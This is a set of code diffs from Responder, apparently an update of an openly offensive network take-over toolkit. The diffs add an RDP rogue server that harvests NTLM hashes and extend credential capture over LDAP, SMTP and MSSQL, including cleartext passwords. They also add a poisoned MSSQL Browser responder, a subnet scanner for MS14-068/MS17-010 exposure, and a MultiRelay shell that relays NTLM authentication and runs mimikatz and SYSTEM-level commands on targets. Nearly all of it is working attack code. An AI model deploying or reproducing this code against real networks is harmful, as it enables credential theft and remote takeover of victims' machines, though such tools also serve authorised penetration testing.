self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))

View File

@@ -192,7 +192,6 @@ def PacketSequence(data, client, Challenge):
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
print "Challenge 2:", Challenge.encode('hex')
if Packet_NTLM == "\x01":
GrabURL(data, client)
GrabReferer(data, client)
@@ -279,21 +278,22 @@ class HTTP(BaseRequestHandler):
break
data += buff
remaining -= len(buff)
if remaining <= 0:
break
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
if remaining <= 0:
break
if data == "":
break
#now the data variable has the full request
Buffer = WpadCustom(data, self.client_address[0])

View File

@@ -52,9 +52,9 @@ def InjectData(data, client, req_uri):
return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall(r'(<body[^>]*>)', Content)
HasBody = re.findall(r'(<body[^>]*>)', Content, re.IGNORECASE)
if HasBody and len(settings.Config.HtmlToInject) > 2:
if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'):
if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))

View File

@@ -27,37 +27,53 @@ def ParseSearch(data):
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client):
SSPIStart = data[42:]
LMhashLen = struct.unpack('<H',data[54:56])[0]
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if LMhashLen > 10:
LMhashOffset = struct.unpack('<H',data[58:60])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[64:66])[0]
NthashOffset = struct.unpack('<H',data[66:68])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[72:74])[0]
DomainOffset = struct.unpack('<H',data[74:76])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv1',
'client': client,
'user': Domain+'\\'+User,
'hash': NtHash,
'module': 'LDAP',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv2',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication")
@@ -67,7 +83,7 @@ def ParseNTLM(data,client, Challenge):
NTLMChall.calculate()
return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client)
ParseLDAPHash(data, client, Challenge)
def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84':
@@ -102,19 +118,37 @@ def ParseLDAPPacket(data, client, Challenge):
elif Operation == "\x63":
Buffer = ParseSearch(data)
return Buffer
elif settings.Config.Verbose:
print text('[LDAP] Operation not supported')
if data[5:6] == '\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen]
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
if settings.Config.Verbose:
print text('[LDAP] Attempting to parse an old simple Bind request.')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserString,
'cleartext': PassStr,
'fullhash': UserString+':'+PassStr,
})
class LDAP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
Challenge = RandomChallenge()
self.request.settimeout(0.4)
data = self.request.recv(8092)
Challenge = RandomChallenge()
for x in range(5):
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
if Buffer:
self.request.send(Buffer)
except socket.timeout:
pass
data = self.request.recv(8092)
except:
pass

View File

@@ -17,6 +17,7 @@
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
import random
import struct
class TDS_Login_Packet:
@@ -119,33 +120,59 @@ def ParseClearTextSQLPass(data, client):
# MSSQL Server class
class MSSQL(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
Challenge = RandomChallenge()
data = self.request.recv(1024)
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer)
data = self.request.recv(1024)
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Challenge = RandomChallenge()
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x11": # NegoSSP Auth
ParseSQLHash(data,self.client_address[0])
if data[0] == "\x11": # NegoSSP Auth
ParseSQLHash(data,self.client_address[0],Challenge)
except:
self.request.close()
pass
# MSSQL Server Browser class
# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
class MSSQLBrowser(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
data, soc = self.request
if data:
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER")
elif data[0] == "\x04": # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0] == "\x0F": # CLNT_UCAST_DAC
self.send_dac_response(soc)
def send_response(self, soc, inst):
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
def send_dac_response(self, soc):
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)

134
servers/RDP.py Normal file
View File

@@ -0,0 +1,134 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler
from utils import *
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
import struct
import re
import ssl
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, NTLMHash, Challenge.encode('hex'))
SaveToDb({
'module': 'RDP',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': NTLMHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), NTLMHash[:32], NTLMHash[32:])
SaveToDb({
'module': 'RDP',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': NTLMHash,
'fullhash': WriteHash,
})
def FindNTLMNegoStep(data):
NTLMStart = data.find('NTLMSSP')
NTLMString = data[NTLMStart:]
NTLMStep = NTLMString[8:12]
if NTLMStep == "\x01\x00\x00\x00":
return NTLMStep
if NTLMStep == "\x03\x00\x00\x00":
return NTLMStep
else:
return False
class RDP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
self.request.settimeout(30)
Challenge = RandomChallenge()
if data[11:12] == "\x01":
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(buffer1)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
x.calculate()
SSLsock.write(str(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
ParseNTLMHash(data,self.client_address[0], Challenge)
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
if data[len(data)-4:] == "\x03\x00\x00\x00":
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(buffer1)
data = self.request.recv(8092)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
x.calculate()
SSLsock.write(str(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
ParseNTLMHash(data,self.client_address[0], Challenge)
else:
return False
except:
pass

View File

@@ -135,32 +135,6 @@ def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
'fullhash': WriteHash,
})
def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[22:24])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[30:32])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
@@ -263,7 +237,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data()
packet1 = str(head)+str(t)

View File

@@ -26,28 +26,16 @@ class ESMTP(BaseRequestHandler):
self.request.send(str(SMTPGreeting()))
data = self.request.recv(1024)
if data[0:4] == "EHLO":
if data[0:4] == "EHLO" or data[0:4] == "ehlo":
self.request.send(str(SMTPAUTH()))
data = self.request.recv(1024)
if data[0:4] == "AUTH":
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
try:
User = filter(None, b64decode(data).split('\x00'))
Username = User[0]
Password = User[1]
except:
Username = b64decode(data)
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
if AuthPlain:
User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
Username = User[0]
Password = User[1]
SaveToDb({
'module': 'SMTP',
@@ -56,7 +44,36 @@ class ESMTP(BaseRequestHandler):
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
})
else:
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
try:
User = filter(None, b64decode(data).split('\x00'))
Username = User[0]
Password = User[1]
except:
Username = b64decode(data)
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
except Exception:
raise
pass

View File

@@ -20,7 +20,7 @@ import subprocess
from utils import *
__version__ = 'Responder 2.3.3.6'
__version__ = 'Responder 2.3.4.0'
class Settings:
@@ -88,6 +88,7 @@ class Settings:
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
# Db File

0
tools/DHCP_Auto.sh Normal file → Executable file
View File

View File

@@ -14,55 +14,86 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import re,sys,socket,struct
import os
import datetime
import struct
import socket
import multiprocessing
from socket import *
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
if Filetime == 0: # server may not disclose this info
return 0, "Unknown"
t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
def IsDCVuln(t):
def IsDCVuln(t, host):
if t[0] == 0:
print "Server", host[0], "did not disclose its boot time"
return
Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date:
print "DC is up since:", t[1]
print "This DC is vulnerable to MS14-068"
print "DC is up since:", t[1]
print "System is up since:", t[1]
print "This system may be vulnerable to MS14-068"
Date = datetime.datetime(2017, 03, 14, 0, 30)
if t[0] < Date:
print "System is up since:", t[1]
print "This system may be vulnerable to MS17-010"
print "Server", host[0], "is up since:", t[1]
def run(host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(5)
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(5)
try:
s.connect(host)
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
data = s.recv(1024)
if data[4:5] == "\xff":
print "This host doesn't support SMBv2"
print "Server", host[0], "doesn't support SMBv2"
if data[4:5] == "\xfe":
IsDCVuln(GetBootTime(data[116:124]))
except Exception:
IsDCVuln(GetBootTime(data[116:124]), host)
except KeyboardInterrupt:
s.close()
raise
sys.exit("\rExiting...")
except:
s.close()
pass
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
if __name__ == "__main__":
if len(sys.argv)<=1:
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
host = sys.argv[1],445
run(host)
sys.exit('Usage: python '+sys.argv[0]+' 10.1.3.37\nor:\nUsage: python '+sys.argv[0]+' 10.1.3.37/24')
m = re.search("/", str(sys.argv[1]))
if m :
net,_,mask = sys.argv[1].partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=run, args=((host,445),))
threads.append(p)
p.start()
else:
run((str(sys.argv[1]),445))

View File

@@ -214,7 +214,7 @@ def IcmpRedirectSock(DestinationIP):
def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None:
Show_Help('Hit CRTL-C to kill this script')
Show_Help('Hit CTRL-C to kill this script')
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
if ToThisHost2 == None:
Show_Help(MoreHelp)

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
@@ -33,7 +33,7 @@ except ImportError:
try:
import readline
except:
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history"
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history"
pass
from MultiRelay.RelayMultiPackets import *
from MultiRelay.RelayMultiCore import *
@@ -45,9 +45,10 @@ from socket import *
__version__ = "2.0"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
def UserCallBack(op, value, dmy, parser):
@@ -103,7 +104,7 @@ def ShowWelcome():
print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
print 'Usernames to relay (-u) are case sensitive.'
print 'To kill this script hit CRTL-C.\n'
print 'To kill this script hit CTRL-C.\n'
print color('/*',8,1)
print 'Use this script in combination with Responder.py for best results.'
print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
@@ -130,11 +131,12 @@ def ShowHelp():
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)'
print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)'
print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)'
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
print color('help',8,1)+' -> Print this message.'
print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
print ' If you want to quit type exit and then use CRTL-C\n'
print ' If you want to quit type exit and then use CTRL-C\n'
print color('Any other command than that will be run as SYSTEM on the target.\n',8,1)
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
@@ -183,7 +185,7 @@ def IsPivotOn():
def ConnectToTarget():
try:
s = socket(AF_INET, SOCK_STREAM)
s.connect((Host[0],445))
s.connect((Host[0],445))
return s
except:
try:
@@ -193,7 +195,7 @@ def ConnectToTarget():
pass
class HTTPProxyRelay(BaseRequestHandler):
def handle(self):
try:
@@ -223,7 +225,7 @@ class HTTPProxyRelay(BaseRequestHandler):
if Packet_NTLM == "\x01":
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate()
packet0 = str(h)+str(n)
@@ -232,14 +234,14 @@ class HTTPProxyRelay(BaseRequestHandler):
smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
smbdata = s.recv(2048) #got it here.
## Send HTTP Proxy
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
@@ -263,7 +265,7 @@ class HTTPProxyRelay(BaseRequestHandler):
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate()
packet1 = str(head)+str(t)
@@ -289,7 +291,7 @@ class HTTPProxyRelay(BaseRequestHandler):
class HTTPRelay(BaseRequestHandler):
def handle(self):
try:
@@ -320,7 +322,7 @@ class HTTPRelay(BaseRequestHandler):
if Packet_NTLM == "\x01":
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate()
packet0 = str(h)+str(n)
@@ -329,14 +331,14 @@ class HTTPRelay(BaseRequestHandler):
smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
smbdata = s.recv(2048) #got it here.
## Send HTTP Response.
Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
@@ -360,11 +362,11 @@ class HTTPRelay(BaseRequestHandler):
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
